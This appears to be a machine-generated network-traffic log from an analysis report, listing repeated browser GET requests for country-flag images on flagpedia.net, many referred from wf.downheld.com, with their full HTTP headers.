Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bs.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ad.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bd.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bh.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ar.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/am.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bb.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/au.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/by.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/at.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/be.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bz.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bs.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/az.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bj.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bt.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bh.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bo.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bd.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bb.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/by.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ba.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bw.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/be.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/br.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bz.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bn.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bg.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bf.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bj.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bi.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bt.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bo.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ba.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cv.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bw.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/kh.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/br.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cm.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/ca.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bn.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cf.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bg.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bf.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/td.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/bi.png HTTP/1.1Host: flagpedia.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /data/flags/w20/cl.png HTTP/1.1Host: flagpedia.netConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://wf.downheld.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
